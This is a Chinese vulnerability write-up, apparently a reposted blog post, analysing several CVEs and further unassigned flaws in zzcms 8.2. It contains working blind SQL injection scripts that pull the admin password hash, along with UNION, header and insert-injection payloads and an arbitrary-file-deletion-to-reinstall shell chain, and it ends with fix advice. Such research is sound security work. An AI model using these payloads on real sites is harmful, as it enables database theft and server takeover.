stripfxg php,zzcms v8.2 中的众多cve分析

01c743e8793ce5cd46f602bda82130d0

看了一下最近的cve列表,发现有大佬怒刷了好多个cve,这个zzcms都快被审穿了,所以跟进学习一下

CMS背景

本文跟踪的这个cms,属于一个开源招商网站管理系统,属于比较小的cms,所以很多地方写的不是很完善,导致了漏洞的产生,项目官网为 http://www.zzcms.net/ ,本次我跟进的版本为8.2。

CVE-2018-8966

首先,这是一个在安装的时候的代码注入,如果不配合其他漏洞删除安装后产生的锁文件 install.lock ,这个漏洞在实际环境中将毫无作用。

下面我们来具体分析一下漏洞产生的原因:

系统在安装的过程中,对输入的变量并没有任何过滤就写入了文件,所以我们只要闭合有关代码,然后注入命令就可以拿到shell。

3a874a47b9b349395550ea3764c4c700

下面开始复现:

b7ff656ea69c4233d8b99bd789ee5d7e

e802baef6d3390ab7da09962dcffaa3d

复现成功,同理,这里既然能插入 php 代码,那也可以插入一端 javascript 代码,造成存储型xss,具体流程不在分析。

dac6734a4404faeda5cb507aebb08919

ff4d1183246fbfcd4c1037fa1642b384

CVE-2018-8967

这是一个前台的sql注入,可以获取管理员密码的账号密码,问题出在了 /user/adv2.php 下面我们分析一下代码:

e28be5f5177bf0d3285e7ecf0f905244

这里整个cms还是对传入的cms进行了过滤的,过滤代码在/inc/stopsqlin.php,但是在这个地方,是没有对sql变量用引号包裹,所以不用单引号也可以直接进行sql注入。

但是这个地方想要注入,前面需要满足一定的条件,见下图

d703a0a0b50963b87e9cce9674fac339

至少要让这两个数据出来的值有一个是1,否则将不会进入注入的代码。

这里的坑点比较多,简单讲下吧,有一个知识点:

select * from zzcms_ad where id =1 or sleep(4);

按照常理这个会延时,但是如果表中是空的,那这个将不会有任何延时

所以我们在注入的时候,要保证表中有数据,才能正常延时盲注的

所以这里要利用这个盲注,需要满足的条件有:

注册为企业用户,并且通过审核

发布广告,报账zzcms_main中,有一条记录

整个网站的广告表zzcms_add中需要至少有一条数据

当上面的条件都满足的时候,就可以进行注入了,下面贴一下paylaod:

import requests

import string

s = requests.session()

url = "http://127.0.0.1:8000/user/adv2.php?action=modify"

cookies = {

'UserName':'test1',#换成你注册的企业用户的用户名

}

flag = ''

for i in range(1,40):

for j in range(33,125):

data = {

'id':'0 or if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(3),0)'.format(i,j)}

try:

r = s.post(url,data=data,cookies=cookies,timeout=1)

except:

flag += chr(j)

print flag

break

print flag

实际测试截图:

478ef848bd41973f79caa05f30ab99b8

CVE-2018-8965

这是一个任意文件删除漏洞,危害还是很大的,配合上面的安装过程中的getshell,还是可以有很大的攻击面 出问题的代码在:

/user/ppsave.php

8a28c94fb417d39164448f2a58224f35

可以发现并没有什么验证,只是判断了一下是不是和之前的或者默认的一样,然后只要文件存在,就使用了 unlink 删除了文件.

所以这个漏洞分析和利用都很简单

311fdd572e475b45144053e63e90bfb9 我们删除了安装的锁文件

/install/install.lock

然后就可以重新安装zzcms,从而配合上文分析的漏洞获取shell。

e5e220fd5645394dbe5b7193c15816a1

CVE-2018-9309

又是一枚sql注入漏洞,不过这个也是一个需要登陆,需要设置相关信息才能利用的漏洞。属于设计不当。

首先我们看一下出问题的核心代码:

if (!empty($_POST["sql"])){//从模板中获取SQL内容,为发送对像

$_SESSION['sql']=stripfxg($_POST["sql"]);

}

$sql=$_SESSION['sql'];

$sql2=$sql." order by id asc limit $n,$size";

$rs=query($sql2);

$row=num_rows($rs);

可以发现这里将post参数中的sql进行了解码放进了session中,而 stripfxg 函数代码如下:

function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜杠

$string=stripslashes($string);//去反斜杠,不开get_magic_quotes_gpc 的情况下,在stopsqlin中都加上了,这里要去了

if ($htmlspecialchars_decode==true){

$string=htmlspecialchars_decode($string);//转 html 实体符号

}

if ($nl2br==true){

$string=nl2br($string);

}

return $string;

}

可以发现并不是什么过滤,所以这里直接拼接进入sql中是及其危险的,后面还有一些没有申请cve的漏洞也是因为调用了这个函数,导致了过滤失效。

代码利用也是比较简单的:

127.0.0.1/dl/dl_sendmail.php

post数据为:

sql=select email from zzcms_dl where id=-1 union select group_concat(table_name) from information_schema.columns where table_schema=database()#

下面是执行结果:

f2805227ca37bba64e641755d0220a47

CVE-2018-9331

有一枚任意文件删除漏洞,不得不说这个系统在这个的判断上真的是很有问题 这次产生问题的文件在

/user/adv.php

也是一个 oldimg 和 img 对比产生的问题

2db8c42759b81619cdda1e930ea71c98

和上面分析类似,都是只判断了是否和原来的相同,然后拼接了 ../ 就直接调用 unlink ,所以利用也很简单

只需要将html中表单属性的hidden删掉,然后直接输入想要删除的文件名就可以啦

没有申请cve的漏洞

有几个sql注入比较严重,下面逐个分析一下

No.1 getip()未过滤

出问题的代码在 /user/check.php 中

d894c5710b5333b75aa44acafa06126d

在检查用户登录的位置,发现会调用 getip() 这个函数,我们跟进看一下:

a5a90628b273589412ad89742b5093f8

发现并没有过滤,可以直接注入xff头,来进行注入,注入脚本如下:

import requests

import string

s = requests.session()

url = "http://219.219.61.234:8000/user/adv.php"//只要include了check.php都可以

cookies = {

'UserName':'test1',

'PassWord':'21232f297a57a5a743894a0e4a801fc3'

}

flag = ''

for i in range(1,40):

print i

for j in range(33,125):

head = {

'X-Forwarded-For':"1' where username = 'test1' and if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(10),0)#".format(i,j)}

try:

r = s.post(url,headers=head,cookies=cookies,timeout=9)

except:

flag += chr(j)

print flag

break

print flag

测试截图为:

c4a67a15c16ffe424ebbe47063f4f401

No.2 del.php未过滤

第二个注入产生的根源还是过滤的不够严格,全局的注入过滤,在没有引号的地方可以随意注入,出问题的代码在

/user/del.php

不过这个注入有一个前提,我们需要先发布一个咨询信息,然后管理员审核过以后,就可以利用来注入了,这个在实际场景中,还是可以实现的。

dda7ff17f397f0b16ac379dfac5a3689

可以看到,直接将tablename拼接进入了sql语句中,所以利用起来难度也不是很大,但是这里并没有回显,所以需要使用时间盲注,或者dns log外带的方法来获取数据。

0b517c811827a8b17e0722e86fce847b

No.3 stripfxg过滤不完整

在整个系统中,还有个函数是非常危险的,他可以将全局过滤还原成正常的数据,如果这个数据带入了sql查询中,是可以直接造成注入的。

fe153bafc12c08c4523f2aae43e01298

代码逻辑:

2fff48fbbe9f01303bdf96a7234fefa0

所以这里的利用也是比较简单的:

POST /user/msg.php?action=savedata&saveas=add

参数为:

info_content=123' ^ sleep(5))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A

这里有一个注入的小技巧,就是在做insert注入和update注入的时候,除了能够多伪造一组数据以外,还可以使用这种异或符号加上sleep函数来延时注入

insert into user (content)VALUES('1' ^ if(1=1,sleep(5),0)#

验证截图:

f5a4f0ac3011e3c1b18b0e61ebccfa10

总结

系统存在的问题:

系统在实现逻辑的过程中,存在了太多了没有过滤直接带入逻辑的情况,这在很多大的框架中是不存在的,建议可以自己封装一层,在封装层中间实现好过滤,用起来也很方便

系统对用户文件的存储删除有很大问题,很多在删除用户文件的时候,并没有检查是不是合法,就直接unlink了,这可以导致很大的问题。

系统在很多地方很轻易的就将自己的过滤去掉了,核心就是那个stripfxg函数,建议减少这个函数的使用,保证所有变量都经过了过滤。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/561012.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

拉普拉斯变换_拉普拉斯变换——奇妙的数学

无奈学不会工程数学中的拉普拉斯变换,没办法去感知他的存在形式,在YOUTOBE上看到一个讲解拉普拉斯变换的视频,好像懂了些,分享给同样迷茫的小伙伴,下载的时候是有字幕的,发到知乎上就没字幕了,英…

没有足够的值_元丰通宝值多少钱吗?市场价值如何?有没有足够的收藏空间?...

元丰通宝是宋代神宗年间发行的,那么你知道现在元丰通宝值多少钱吗?市场价值如何?有没有足够的收藏空间?宋代虽然没有强大的军事实力,但其国内经济水平得到了发展,在许多朝代都处于领先地位。在元丰通宝的铸…

jsp中java代码无效_来杯咖啡,教你如何优雅的在java中统计代码块耗时

推荐阅读:Sping源码RedisNginxMySQL等七篇实战技术文档,阿里大佬推荐阿里内部:2020年全技术栈文档PPT分享,(万粉总结,回馈粉丝)在我们的实际开发中,多多少少会遇到统计一段代码片段的耗时的情况&#xff0c…

linux 随机抽取文件,shell 随机从文件中抽取若干行的实现方法

shuf -n5 main.txtsort -R main.txt | head -5awk -vN5 -vC"wc -l file" BEGIN{srand();while(nwhile read line;do echo "$line $RANDOM";done < main.txt | sort -k2,2n| awk NR<5{print $1}shuf 命令的选项&#xff1a;-e, --echo &#xff1a;将…

http header 设置编码_【译】http.client

本模块实现了HTTP和HTTPS协议的客户端功能。通常本模块不会被直接使用&#xff0c;而是被urllib.request调用&#xff0c;来处理HTTP和HTTPS相关的URL。备注&#xff1a;HTTPS只有在支持SSL(带有ssl模块)的Python编译器里面才是可用的。(一)模块提供的类class http.client.HTTP…

diskgenius linux 分区,DiskGenius怎么分区,DiskGenius分区教程

DiskGenius分区教程方法一&#xff1a;一、首先&#xff0c;打开DiskGenius软件并单击以选择要操作的硬盘驱动器。二、然后右键单击“快速分区”按钮并单击“确定”。方法2&#xff1a;三、选择要操作的硬盘&#xff0c;单击软件上方的硬盘按钮&#xff0c;单击下面列中的快速分…

sql server management studio性能分析_如何分析一条SQL的性能

来自公众号&#xff1a;谭小谭这篇文章将给大家介绍如何使用 explain 来分析一条 sql 。网上其实已经有非常多的文章都很详细的介绍了 explain 的使用&#xff0c;这篇文章将实例和原理结合起来&#xff0c;尽量让你有更好的理解&#xff0c;相信我&#xff0c;认真看完你应该会…

编译运行linux0.12,linux0.12 编译过程

感谢这篇文章的作者&#xff1a; http://www.cnblogs.com/strugglesometimes/p/4231359.html编译是个很蛋疼的事情&#xff0c;本想把linux0.12在bochs上跑起来然后就可以各模块的学习&#xff0c;没想各种问题。问题1&#xff1a;1 gas -c -o boot/head.o boot/head.s2 mak…

编译linux tq2440,QT4.8.2在TQ2440开发板上的移植(一)--编译和安装

主机版本&#xff1a;Ubuntu 11.04交叉编译器版本&#xff1a;4.3.3移植的主要工作就是编译在ARM板上运行的qt库&#xff0c;并且把这些库做到根目录中。需要的文件tslib-1.4.tar.gz qt-everywhere-opensource-src-4.8.2.tar.gz具体步骤如下&#xff1a;1、首先编译安装触摸屏驱…

图书管理系统_目前图书管理系统存在的问题

作者&#xff1a;新风学术网(一) 不能准确直观地指明图书所在的空间位置目前所使用的管理系统在索书的过程中是读者先在图书馆查询系统上查询到所要借的图书并记录下这本书的索书号和馆藏地, 再根据索书号到书的馆藏地所在位置查找书。有些读者对索书号是怎么排架的并不了解, 也…

(dp)数字三角形

题目方案1&#xff1a;递归方案二&#xff1a;递推 题目 数字三角形问题。有一个由非负整数组成的三角形&#xff0c;第一行只有一个数&#xff0c;除了最下行 之外每个数的左下方和右下方各有一个数 从第一行的数开始&#xff0c;每次可以往左下或右下走一格&#xff0c;直…

mfc tabcontrol 修改白色背景_初级会计报名准备工作如何使用美图秀秀PC版修改照片尺寸、格式、大小...

点击上方蓝字关注我们证件照是我们生活中常用的东西&#xff0c;大学考证需要证件照&#xff0c;制作简历也需要用到证件照&#xff0c;工作有时也需要用到&#xff0c;然而最让我们头疼的是每次报名证件照的要求都不一样&#xff0c;其中底色和尺寸是经常需要修改的&#xff0…

分步表单_表单设计-掌握表单设计方法(表单体验篇)

全篇阅读大概需要15min&#xff0c;对表单设计不熟悉的同学看完后肯定会有不少的收获~~~说到表单其实在生活中可以接触到各种各样的表单&#xff0c;比如&#xff1a;驾照申请表、体检表、银行开户需要填写的表等等&#xff0c;这些都是表单&#xff0c;主要目的就是让用户填写…

4)lsof linux命令,***Linux命令实时监测系统(top,htop,iotop,lsof,tcpdump,netstat,vmstat,iostat)...

摘要&#xff1a;本文总结了8个非常实用的Linux命令行性能监测工具&#xff0c;这些命令支持所有的Linux系统&#xff0c;不仅可以用于监控系统&#xff0c;还可以发现导致性能问题的原因所在。对每个系统/网络管理员来说&#xff0c;每天监测Linux系统性能是一项非常艰巨的任务…

算法竞赛入门经典 第七章 总结

目录&#xff1a; 7.1 简单枚举7.2 枚举排列7.3 子集生成 7.1 简单枚举 例题7-1 除法&#xff08;Division, UVa 725&#xff09; 输入正整数n&#xff0c;按从小到大的顺序输出所有形如abcde/fghij n的表达式&#xff0c;其中a&#xff5e;j恰好 为数字0&#xff5e…

线性表总结

线性表及其实现多项式的表示什么是线性表线性表的抽象数据类型描述线性表的顺序存储实现线性表的链式存储实现 线性表及其实现 多项式的表示 [例] 一元多项式及其运算 一元多项式 &#xff1a; 主要运算&#xff1a;多项式相加、相减、相乘等 【分析】如何表示多项式?…

mix2s android p功能,已升安卓P!网友:MIX2S才是亲儿子

原标题&#xff1a;已升安卓P&#xff01;网友&#xff1a;MIX2S才是亲儿子一直以来&#xff0c;小米在手机系统更新上都有着非常明显的优势&#xff0c;MIUI经过了多年的更新迭代&#xff0c;如今已经达到了非常不错的易用性&#xff0c;而且流畅度方面的表现更是优秀。如今小…

堆栈总结

堆栈什么是堆栈堆栈的抽象数据类型描述栈的顺序存储实现 堆栈 什么是堆栈 计算机如何进行表达式求值&#xff1f; 算术表达式56/2-3*4。 正确理解&#xff1a; 56/2-3*4 53-3*4 8-3*4 8-12 -4 由两类对象构成的&#xff1a; 运算数&#xff0c;如2、3、4 运算符号…

harmonyos公测招募,nova为主 HarmonyOS 2.0开发者Beta公测再招募

原标题&#xff1a;nova为主 HarmonyOS 2.0开发者Beta公测再招募HarmonyOS 2.0开发者Beta公测招募将开启第二期&#xff0c;本次公测活动主要针对的机型是华为nova系列。活动报名时间为5月9日-5月17日。【PChome手机频道资讯报道】华为方面在4月份开启了HarmonyOS 2.0开发者Bet…

队列总结

什么是队列 队列(Queue)&#xff1a;具有一定操作约束的线性表 插入和删除操作&#xff1a;只能在一端插入&#xff0c;而在另一端删除 数据插入&#xff1a;入队列&#xff08;AddQ&#xff09; 数据删除&#xff1a;出队列&#xff08;DeleteQ&#xff09; 先来先服务 先…